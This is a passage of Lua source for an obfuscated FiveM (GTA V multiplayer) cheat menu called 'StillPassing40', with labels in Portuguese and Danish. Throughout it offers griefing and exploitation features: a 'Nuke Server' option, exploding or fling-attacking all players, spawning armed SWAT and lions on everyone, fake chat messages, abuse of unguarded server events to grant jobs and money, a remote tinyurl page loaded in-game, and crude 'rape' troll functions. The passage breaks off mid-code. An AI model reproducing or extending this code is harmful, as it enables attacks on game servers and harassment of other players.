StillPassing40.CreateSubMenu('vehiclemenu', '\118\101\104\105\99\108\101\10',
'Vehicle Control Menu')

-- VEHICLE SPAWNER MENU


StillPassing40.CreateSubMenu('compacts', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Compacts')
StillPassing40.CreateSubMenu('sedans', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Sedans')
StillPassing40.CreateSubMenu('suvs', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'SUVs')
StillPassing40.CreateSubMenu('coupes', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Coupes')
StillPassing40.CreateSubMenu('muscle', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Muscle')
StillPassing40.CreateSubMenu('sportsclassics', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Sports Classics')
StillPassing40.CreateSubMenu('sports', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Sports')
StillPassing40.CreateSubMenu('super', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Super')
StillPassing40.CreateSubMenu('motorcycles', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Motorcycles')
StillPassing40.CreateSubMenu('offroad', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Off-Road')
StillPassing40.CreateSubMenu('industrial', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Industrial')
StillPassing40.CreateSubMenu('utility', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Utility')
StillPassing40.CreateSubMenu('vans', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Vans')
StillPassing40.CreateSubMenu('cycles', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Cycles')
StillPassing40.CreateSubMenu('boats', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Boats')
StillPassing40.CreateSubMenu('helicopters', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Helicopters')
StillPassing40.CreateSubMenu('planes', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Planes')
StillPassing40.CreateSubMenu('service', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Service')
StillPassing40.CreateSubMenu('commercial', '\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10', 'Commercial')

-- VEHICLE MODS SUBMENUS


StillPassing40.CreateSubMenu('vehiclecolors', 'vehiclemods', 'Vehicle Colors')
StillPassing40.CreateSubMenu('vehiclecolors_primary', 'vehiclecolors', 'Primary
Color')
StillPassing40.CreateSubMenu('vehiclecolors_secondary', 'vehiclecolors',
'Secondary Color')
StillPassing40.CreateSubMenu('primary_classic', 'vehiclecolors_primary',
'Classic Colors')
StillPassing40.CreateSubMenu('primary_matte', 'vehiclecolors_primary', 'Matte
Colors')
StillPassing40.CreateSubMenu('primary_metal', 'vehiclecolors_primary',
'Metals')

StillPassing40.CreateSubMenu('secondary_classic', 'vehiclecolors_secondary',
'Classic Colors')
StillPassing40.CreateSubMenu('secondary_matte', 'vehiclecolors_secondary',
'Matte Colors')
StillPassing40.CreateSubMenu('secondary_metal', 'vehiclecolors_secondary',
'Metals')

StillPassing40.CreateSubMenu('vehicletuning', 'vehiclemods', 'Vehicle Tuning')

-- WORLD MENU SUBMENUS


StillPassing40.CreateSubMenu('\
111\98\106\101\99\116\115\112\97\119\110\101\114\10', 'StillPassing40', 'Spawnar
Objetos')
StillPassing40.CreateSubMenu('objectlist', '\
111\98\106\101\99\116\115\112\97\119\110\101\114\10', 'Selecionar para apagar')
StillPassing40.CreateSubMenu('weather', '\119\111\114\108\100\10', 'Weather
Changer | ~p~Client Side')
StillPassing40.CreateSubMenu('time', '\119\111\114\108\100\10', 'Time Changer')

-- MISC MENU SUBMENUS


StillPassing40.CreateSubMenu('esp', '\109\105\115\99\10', 'ESP & Visual
Options')
StillPassing40.CreateSubMenu('webradio', '\109\105\115\99\10', 'Web Radio')
StillPassing40.CreateSubMenu('credits', '\109\105\115\99\10', 'Credits')
StillPassing40.CreateSubMenu('InfoMenu', '\109\105\115\99\10', 'Info')

-- TELEPORT MENU SUBMENUS


StillPassing40.CreateSubMenu('saveload', '\116\101\108\101\112\111\114\116\10',
'Tøjbutikker')
StillPassing40.CreateSubMenu('pois', '\116\101\108\101\112\111\114\116\10',
'Garager')
StillPassing40.CreateSubMenu('pois2', '\116\101\108\101\112\111\114\116\10',
'Steder')

--fuck server
StillPassing40.CreateSubMenu('\102\117\99\107\115\101\114\118\101\114\10',
'StillPassing40', 'Fuck Server')

-- LUA MENU SUBMENUS


StillPassing40.CreateSubMenu('\101\115\120\10', '\108\117\97\10', 'ESX
Options')
StillPassing40.CreateSubMenu('\118\114\112\10', '\108\117\97\10', 'vRP
Options')
StillPassing40.CreateSubMenu('roles', '\108\117\97\10', 'vRP Rolespilleren')
StillPassing40.CreateSubMenu('other', '\108\117\97\10', 'Esx Jobs')
StillPassing40.CreateSubMenu('money', '\118\114\112\10', 'Money Options')

StillPassing40.InitializeTheme()

while true do
-- MAIN MENU

if StillPassing40.IsMenuOpened('StillPassing40') then
if StillPassing40.MenuButton('Opcoes Pessoais-Reviver-NoClip', '\
115\101\108\102\10') then
elseif StillPassing40.MenuButton('Jogadores Online', '\
112\108\97\121\101\114\10') then
elseif StillPassing40.MenuButton('Armas-Aimbot-Muniçao', '\
119\101\97\112\111\110\10') then
elseif StillPassing40.MenuButton('Veiculos-Reparar-Tunar', '\
118\101\104\105\99\108\101\10') then
elseif StillPassing40.MenuButton('Skins', '\
97\112\112\101\97\114\97\110\99\101\10') then
elseif StillPassing40.CheckBox("~b~Soco de Shock ~r~NEW", ShockAmmo)
then
ShockAmmo = not ShockAmmo
elseif StillPassing40.CheckBox("~b~Soco Explosivo ~r~NEW",
ExplosiveAmmo) then
ExplosiveAmmo = not ExplosiveAmmo
elseif StillPassing40.MenuButton('~g~Dinheiros ~r~ NEW', '\
109\105\115\99\10') then
elseif StillPassing40.MenuButton('~y~DESMANCHAR CARROS ~r~NOVO',
'policiatiki') then
elseif StillPassing40.Button("~b~ALGEMAR OU DESALGEMAR ~r~NEW") then
vRP.toggleHandcuff()
elseif StillPassing40.Button('~y~Desinjetar') then break
end

-- PLAYER OPTIONS MENU


elseif StillPassing40.IsMenuOpened('\112\108\97\121\101\114\10') then

local playerlist = GetActivePlayers()


for i = 1, #playerlist do
local currPlayer = playerlist[i]
if StillPassing40.MenuButton("ID: ~y~[" ..
GetPlayerServerId(currPlayer) .. "] ~s~" .. GetPlayerName(currPlayer), '\
112\108\97\121\101\114\111\112\116\105\111\110\115\10') then
selectedPlayer = currPlayer end

end

--Fuck server
elseif StillPassing40.IsMenuOpened('\
102\117\99\107\115\101\114\118\101\114\10') then
if StillPassing40.CheckBox("~s~Include Self", includeself, "No",
"Yes") then
includeself = not includeself
elseif StillPassing40.Button("~s~Fake ~s~Chat Message") then
local eX = KeyboardInput("NAME OF FAKE PLAYER", "", 100) if eX then
local dT = KeyboardInput("Enter message", "", 10000) if dT then
TriggerServerEvent("adminmenu:allowall") TriggerServerEvent("_chat:messageEntered",
eX, {0, 0x99, 255}, dT) end end
elseif StillPassing40.Button("~s~Nuke Server") then
ShowInfo("~y~Fucking Players...")
nukeserver()
elseif StillPassing40.Button("~s~Rape All") then
RapeAllFunc()
elseif StillPassing40.Button("~s~Change ~s~All Nearby Vehicles Plate
Text") then
local plateInput = GetKeyboardInput("Enter Plate Text (8 Characters):")
for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleNumberPlateText(k, plateInput)
end
elseif StillPassing40.CheckBox("~s~Make ~s~All Cars ~p~Fly",
FlyingCars) then
FlyingCars = not FlyingCars
elseif StillPassing40.CheckBox("~s~Set ~s~The World On ~p~Fire",
WorldOnFire) then
WorldOnFire = not WorldOnFire
if WorldOnFire then
wofDUI = CreateDui("https://tinyurl.com/y6e2qu9e", 1, 1)
else
DestroyDui(wofDUI)
end
elseif StillPassing40.Button("~s~Close ~s~The Whole Square") then
x, y, z =
table.unpack(GetEntityCoords(GetPlayerPed(selectedPlayer)))
roundx = tonumber(string.format('%.2f', x))
roundy = tonumber(string.format('%.2f', y))
roundz = tonumber(string.format('%.2f', z))
local e8 = -145066854
RequestModel(e8)
while not HasModelLoaded(e8) do
Citizen.Wait(0)
end
local e9 = CreateObject(e8, 258.91, -933.1, 26.21, true, true,
arwet)
local ea = CreateObject(e8, 200.91, -874.1, 26.21, true, true,
arwet)
local e92 = CreateObject(e8, 126.52, -933.2, 26.21,
true, true, arwet)
local ea2 = CreateObject(e8, 184.52, -991.2, 26.21,
true, true, arwet)
SetEntityHeading(e9, 158.41)
SetEntityHeading(ea, 90.51)
SetEntityHeading(e92, 332.41)
SetEntityHeading(ea2, 260.51)
FreezeEntityPosition(e9, true)
FreezeEntityPosition(ea, true)
FreezeEntityPosition(e92, true)
FreezeEntityPosition(ea2, true)
elseif StillPassing40.Button("~s~SPAWN ~p~Lion ~s~On All Players") then
local mtlion = "A_C_MtLion"
local plist = GetActivePlayers()
for i = 0, #plist do
local co = GetEntityCoords(GetPlayerPed(i))
RequestModel(GetHashKey(mtlion))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(mtlion)) then
local ped =
CreatePed(21, GetHashKey(mtlion), co.x, co.y, co.z,
0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(i)) then
local ei = PedToNet(ped)
NetworkSetNetworkIdDynamic(ei, arwet)
SetNetworkIdCanMigrate(ei, true)
SetNetworkIdExistsOnAllMachines(ei, true)
Citizen.Wait(50)
NetToPed(ei)
TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
elseif IsEntityDead(GetPlayerPed(i)) then
TaskCombatHatedTargetsInArea(ped, co.x, co.y, co.z,
500)
else
Citizen.Wait(0)
end
end
end
elseif StillPassing40.Button("~s~SPAWN ~p~SWAT ~s~On All Players ")
then
local swat = "s_m_y_swat_01"
local bR = "WEAPON_ASSAULTRIFLE"
local plist = GetActivePlayers()
for i = 0, #plist do
local coo = GetEntityCoords(GetPlayerPed(i))
RequestModel(GetHashKey(swat))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(swat)) then
local ped =
CreatePed(21, GetHashKey(swat), coo.x - 1, coo.y,
coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x + 1, coo.y, coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x, coo.y - 1, coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x, coo.y + 1, coo.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(i)) then
local ei = PedToNet(ped)
NetworkSetNetworkIdDynamic(ei, arwet)
SetNetworkIdCanMigrate(ei, true)
SetNetworkIdExistsOnAllMachines(ei, true)
GiveWeaponToPed(ped,
GetHashKey(bR), 9999, 1, 1)
SetPedCanSwitchWeapon(ped, true)
NetToPed(ei)
TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
elseif IsEntityDead(GetPlayerPed(i)) then
TaskCombatHatedTargetsInArea(ped, coo.x, coo.y,
coo.z, 500)
else
Citizen.Wait(0)
end
end
end
elseif StillPassing40.Button('~s~Make All Players A Hamburger Head') then
local plist = GetActivePlayers()
for i = 0, #plist do
if IsPedInAnyVehicle(GetPlayerPed(i), true) then
local eb = 'xs_prop_hamburgher_wl'
local ec = -145066854
while not HasModelLoaded(ec) do
Citizen.Wait(0)
RequestModel(ec)
end
local ed = CreateObject(ec, 0, 0, 0, true, true, true)
AttachEntityToEntity(
ed,
GetVehiclePedIsIn(GetPlayerPed(i), arwet),

GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), arwet), 'chassis'),


0,
0,
-1.0,
0.0,
0.0,
0,
true,
true,
arwet,
true,
1,
true
)
else
local eb = 'xs_prop_hamburgher_wl'
local ec = GetHashKey(eb)
while not HasModelLoaded(ec) do
Citizen.Wait(0)
RequestModel(ec)
end
local ed = CreateObject(ec, 0, 0, 0, true, true, true)
AttachEntityToEntity(
ed,
GetPlayerPed(i),
GetPedBoneIndex(GetPlayerPed(i), 0),
0,
0,
-1.0,
0.0,
0.0,
0,
true,
true,
arwet,
true,
1,
true
)
end
end
elseif StillPassing40.Button("~s~Fuck Up The Map | Irreversible! |
~p~[WIP]") then
if not FuckMap then
ShowInfo("~b~Fucking Up Map")
FuckMap = true
else
ShowInfo("~p~Map Already Fucked")
end
elseif StillPassing40.Button("~s~Explode All Players") then
ExplodeAll(includeself)
elseif StillPassing40.CheckBox("~s~Explode All Players | ~p~LOOP",
ExplodingAll) then
ExplodingAll = not ExplodingAll
elseif StillPassing40.Button("~s~Give All Players Weapons") then
GiveAllPlayersWeapons(includeself)
elseif StillPassing40.Button("~s~Remove All Players Weapons") then
StripAll(includeself)
elseif StillPassing40.Button("~s~FUCK ALL Vehicles") then
elseif StillPassing40.Button("~s~Rampinator") then
for vehicle in EnumerateVehicles() do local eY = CreateObject(-
145066854, 0, 0, 0, true, true, true) NetworkRequestControlOfEntity(vehicle)
AttachEntityToEntity(eY, vehicle, 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true,
1, true) NetworkRequestControlOfEntity(eY) SetEntityAsMissionEntity(eY, true, true)
end
elseif StillPassing40.Button("~s~BORGAR~s~ Vehicles") then local cC =
GetHashKey("xs_prop_hamburgher_wl") for vehicle in EnumerateVehicles() do local cD
= CreateObject(cC, 0, 0, 0, true, true, true) AttachEntityToEntity(cD, vehicle, 0,
0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true) end
elseif StillPassing40.Button("Kick All Players From Vehicle") then
KickAllFromVeh(includeself)
end

elseif StillPassing40.IsMenuOpened('jobsplayers2') then


if StillPassing40.Button("Udløs Panik Knap", '~p~~p~Devo & Sky') then
TriggerServerEvent("vrp_panikknap:panik",
GetEntityCoords(PlayerPedId(selectedPlayer), true))
TriggerServerEvent("vrp_panikknap:gps",
GetEntityCoords(PlayerPedId(selectedPlayer), true))
elseif StillPassing40.Button("Launch Players Vehicle") then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else

local wasSpeccing= arwet


local tmp = nname
if Spectating then
tmp = SpectatedPlayer
wasSpeccing = true
Spectating = not Spectating
SpectatePlayer(tmp)
end

local veh = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), 0)


RequestControlOnce(veh)
ApplyForceToEntity(veh, 3, 0.0, 0.0, 5000000.0, 0.0, 0.0, 0.0, 0,
0, 1, 1, 0, 1)

if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end

end
elseif StillPassing40.ComboBox("Pop Players Vehicle Tire", {"Front Left",
"Front Right", "Back Left", "Back Right", "All"}, currTireIndex, selTireIndex,
function(currentIndex, selClothingIndex)
currTireIndex = currentIndex
selTireIndex = currentIndex
end) then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else

local wasSpeccing= arwet


local tmp = nname
if Spectating then
tmp = SpectatedPlayer
wasSpeccing = true
Spectating = not Spectating
SpectatePlayer(tmp)
end

local veh = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), 0)


RequestControlOnce(veh)
if selTireIndex == 1 then
SetVehicleTyreBurst(veh, 0, 1, 1000.0)
elseif selTireIndex == 2 then
SetVehicleTyreBurst(veh, 1, 1, 1000.0)
elseif selTireIndex == 3 then
SetVehicleTyreBurst(veh, 4, 1, 1000.0)
elseif selTireIndex == 4 then
SetVehicleTyreBurst(veh, 5, 1, 1000.0)
elseif selTireIndex == 5 then
for i=0,7 do
SetVehicleTyreBurst(veh, i, 1, 1000.0)
end
end

if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end

end
elseif StillPassing40.Button("Slam Players Vehicle") then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else

local wasSpeccing= arwet


local tmp = nname
if Spectating then
tmp = SpectatedPlayer
wasSpeccing = true
Spectating = not Spectating
SpectatePlayer(tmp)
end

local veh = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), 0)


RequestControlOnce(veh)
ApplyForceToEntity(veh, 3, 0.0, 0.0, -5000000.0, 0.0, 0.0, 0.0, 0,
0, 1, 1, 0, 1)

if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end
end
elseif StillPassing40.ComboBox("Teleport Into Players Vehicle", {"Front
Right", "Back Left", "Back Right"}, currSeatIndex, selSeatIndex,
function(currentIndex, selClothingIndex)
currSeatIndex = currentIndex
selSeatIndex = currentIndex
end) then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else
local confirm = GetKeyboardInput("Are you Sure? ~p~Y~w~/~p~N")
if string.lower(confirm) == "y" then
local veh = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), 0)
if selSeatIndex == 1 then
if IsVehicleSeatFree(veh, 0) then
SetPedIntoVehicle(PlayerPedId(), veh, 0)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
elseif selSeatIndex == 2 then
if IsVehicleSeatFree(veh, 1) then
SetPedIntoVehicle(PlayerPedId(), veh, 1)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
elseif selSeatIndex == 3 then
if IsVehicleSeatFree(veh, 2) then
SetPedIntoVehicle(PlayerPedId(), veh, 2)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
end
end
end
elseif StillPassing40.CheckBox("Track Player", Tracking, "Tracking:
Nobody", "Tracking: "..GetPlayerName(TrackedPlayer)) then
Tracking = not Tracking
TrackedPlayer = selectedPlayer
elseif StillPassing40.CheckBox("Fling Player", FlingingPlayer, "Flinging:
Nobody", "Flinging: "..GetPlayerName(FlingedPlayer)) then
FlingingPlayer = not FlingingPlayer
FlingedPlayer = selectedPlayer

end

if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)

end

elseif StillPassing40.IsMenuOpened('jobsplayers') then


if StillPassing40.Button("~s~Remove Job") then
udwdj("NB:destituerplayer",GetPlayerServerId(selectedPlayer))
elseif StillPassing40.Button("~s~Recruit~s~ Mechanic") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "mecano", result)
elseif StillPassing40.Button("~s~Recruit~s~ Police") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "police", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "police", result)
udwdj('Corujas RP-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "police", result)
elseif StillPassing40.Button("~s~Recruit~s~ Mafia") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "mafia", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "mafia", result)
elseif StillPassing40.Button("~s~Recruit~s~ Gang") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "gang", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "gang", result)
elseif StillPassing40.Button("~s~Recruit~s~ Taxi") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "taxi", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "taxi", result)
elseif StillPassing40.Button("~s~Recruit~s~ Inem") then
local result = GetKeyboardInput("Enter Nivel Job ~p~0-10", "",
10)
udwdj('NB:recruterplayer',
GetPlayerServerId(selectedPlayer), "ambulance", result)
udwdj('Esx-MenuPessoal:Boss_recruterplayer',
GetPlayerServerId(selectedPlayer), "ambulance", result)
end

elseif StillPassing40.IsMenuOpened('troll') then

-- SPECIFIC PLAYER OPTIONS


elseif StillPassing40.IsMenuOpened('\
112\108\97\121\101\114\111\112\116\105\111\110\115\10') then
if StillPassing40.Button("~s~PLAYER: " .. "~p~[" ..
GetPlayerServerId(selectedPlayer) .. "] ~s~" .. GetPlayerName(selectedPlayer)) then
elseif StillPassing40.Button('~y~Botar ~s~Minhocas ~r~NEW') then
local bH = CreateObject(GetHashKey('prop_vertdrill_01'), 0, 0, 0,
true, true, true)

AttachEntityToEntity(
bH,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Carro ~r~NEW') then
local bI = CreateObject(GetHashKey('prop_pipes_conc_02'), 0, 0, 0, true, true,
true)
AttachEntityToEntity(
bI,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Pipas ~r~NEW') then
local bJ = CreateObject(GetHashKey('prop_conc_blocks01b'), 0, 0, 0, true,
true, true)
AttachEntityToEntity(
bJ,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Torre De Paris ~r~NEW') then
local bJ = CreateObject(GetHashKey('stt_prop_tyre_wall_04'), 0, 0,
0, true, true, true)
AttachEntityToEntity(
bJ,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Comer ~s~Player ~p~DAR UM CLIKE
,CASO SUMIU NAO FLODAR') then
RapePlayer(selectedPlayer)
elseif StillPassing40.Button("Cargo Plane ~r~1 Clique a cada 5 seg
~y~RISCO") then
local ped = GetPlayerPed(selectedPlayer)
local coords = GetEntityCoords(ped)

while not HasModelLoaded(GetHashKey("cargoplane")) and not


killmenu do
RequestModel(GetHashKey("cargoplane"))
Wait(1)
end

local veh = CreateVehicle(GetHashKey("cargoplane"),


coords.x, coords.y, coords.z, 90.0, 1, 1)
elseif StillPassing40.Button("Explodir Jogador ~y~Use Por Risco") then
ExplodePlayer(selectedPlayer)
end

-- SELF OPTIONS MENU


elseif StillPassing40.IsMenuOpened('\115\101\108\102\10') then
if StillPassing40.CheckBox("Godmode ~g~SAFE", Godmode) then
Godmode = not Godmode
if not Godmode then
SetEntityProofs(GetPlayerPed(-1), false, false, false, false,
false, false, false, false)
else
SetEntityProofs(GetPlayerPed(-1), true, true, true, true, true,
true, true, true)
end
elseif StillPassing40.CheckBox("Rolamento Infinito ~g~SAFE", Ri) then
Ri = not Ri
if not Ri then
for l = 0, 3 do
StatSetInt(GetHashKey("mp" .. l .. "_shooting_ability"), 0,
true)
StatSetInt(GetHashKey("sp" .. l .. "_shooting_ability"), 0,
true)
end
else
for l = 0, 3 do
StatSetInt(GetHashKey("mp" .. l .. "_shooting_ability"),
1000, true)
StatSetInt(GetHashKey("sp" .. l .. "_shooting_ability"),
1000, true)
end
end
elseif StillPassing40.CheckBox("Estamina Infinita ~g~SAFE", Is) then
Is = not Is
if not Is then
ResetPlayerStamina(PlayerId())
end
elseif StillPassing40.CheckBox("No ragdoll ~g~SAFE", Mf) then
Mf = not Mf
if not Mf then
SetPedCanRagdoll(GetPlayerPed(-1), true)
else
SetPedCanRagdoll(GetPlayerPed(-1), false)
end
elseif StillPassing40.Button("Reviver ~g~SAFE") then

local crd = GetEntityCoords(PlayerPedId())


Citizen.InvokeNative(0xEA23C49EAA83ACFB, Citizen.InvokeNative(0x1899F328B0E12848,
PlayerPedId(), crd.x, crd.y, crd.z), Citizen.InvokeNative(0xE83D4F9BA2A38914,
PlayerPedId())) SetEntityCoordsNoOffset(PlayerPedId(), crd.x,
crd.y, crd.z, false, false, true)
elseif StillPassing40.Button("Suicidio ~g~SAFE") then
SetEntityHealth(PlayerPedId(), 0)
elseif StillPassing40.CheckBox("Invisibilidade ~g~SAFE",
Invisibility) then
Invisibility = not Invisibility
if not Invisibility then
SetEntityVisible(PlayerPedId(), true)
end
elseif StillPassing40.Button("~r~REVIVER SANTA GROUP ~g~NEW") then
TriggerEvent("allcity_deadscreen:openclose",false)

elseif StillPassing40.CheckBox("~s~TikiMagneto ~r~MAGNETO APERTA E",


ForceTog) then
ForceMod()
elseif StillPassing40.CheckBox("~s~Noclip ~y~Use Por Risco",
Noclipping) then
ToggleNoclip()
end

-- APPEARANCE MENU
elseif StillPassing40.IsMenuOpened('\
97\112\112\101\97\114\97\110\99\101\10') then
if StillPassing40.MenuButton("Skin Troll", 'skinsmodels') then
elseif StillPassing40.Button("~s~Skin ~s~Aleatoria ~g~SAFE") then
RandomClothes(PlayerId())
end

-- MODIFY SKIN TEXTURES MENU


-- Useful methods to retrieve max number of clothes/colors for each
body part index
-- http://gtaxscripting.blogspot.com/2016/04/gta-v-peds-component-
and-props.html
elseif StillPassing40.IsMenuOpened('modifyskintextures') then
--" ..tostring(GetNumberOfPedDrawableVariations(PlayerPedId(),
0)).. " Variations)" -- Removed this part for now
----------------------------------------------------------------------
-- The values of currSomethingIndex and selSomethingIndex need to
--
-- be assigned to the drawables/textures the ped is currently using
--
-- so it doesn't reset them (before opening any of the menus)
--

----------------------------------------------------------------------

if StillPassing40.MenuButton("Head", "modifyhead") then

if GetEntityModel(PlayerPedId()) ~=
GetHashKey("mp_m_freemode_01") then
StillPassing40.CloseMenu()
StillPassing40.OpenMenu('modifyskintextures')
ShowInfo("~p~Only MP Models Supported For
Now!")
end

faceItemsList = GetHeadItems()
faceTexturesList =
GetHeadTextures(GetPedDrawableVariation(PlayerPedId(), 0))
hairItemsList = GetHairItems()
hairTexturesList =
GetHairTextures(GetPedDrawableVariation(PlayerPedId(), 2))
maskItemsList = GetMaskItems()
hatItemsList = GetHatItems()
hatTexturesList = GetHatTextures(GetPedPropIndex(PlayerPedId(),
0))
end

elseif StillPassing40.IsMenuOpened('skinsmodels') then

if StillPassing40.Button("~s~Resetar Model") then


local model = "mp_m_freemode_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end

elseif StillPassing40.Button("Trocar para ~y~Gordo Pelado") then


local model = "a_m_m_acult_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Travesti") then
local model = "a_m_m_tranvest_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Veio Louco") then
local model = "a_m_y_acult_02"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Maromba de Cueca") then

local model = "a_m_y_musclbeac_01"


RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Cachorro de Madame") then
local model = "a_c_poodle"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Alien") then
local model ="s_m_m_movalien_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Macaco")
then
local model ="a_c_chimp"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Pug") then
local model ="a_c_pug"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Maromba")
then
local model ="u_m_y_babyd"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Ema") then
local model ="u_f_y_dancelthr_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Super
Heroi") then
local model ="u_m_y_imporage"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
SetPlayerModel(PlayerId(), GetHashKey(model))
end
elseif StillPassing40.Button("Trocar para ~y~Jesus") then
local model ="u_m_m_jesus_01"
RequestModel(GetHashKey(model))
Wait(500)
if HasModelLoaded(GetHashKey(model)) then
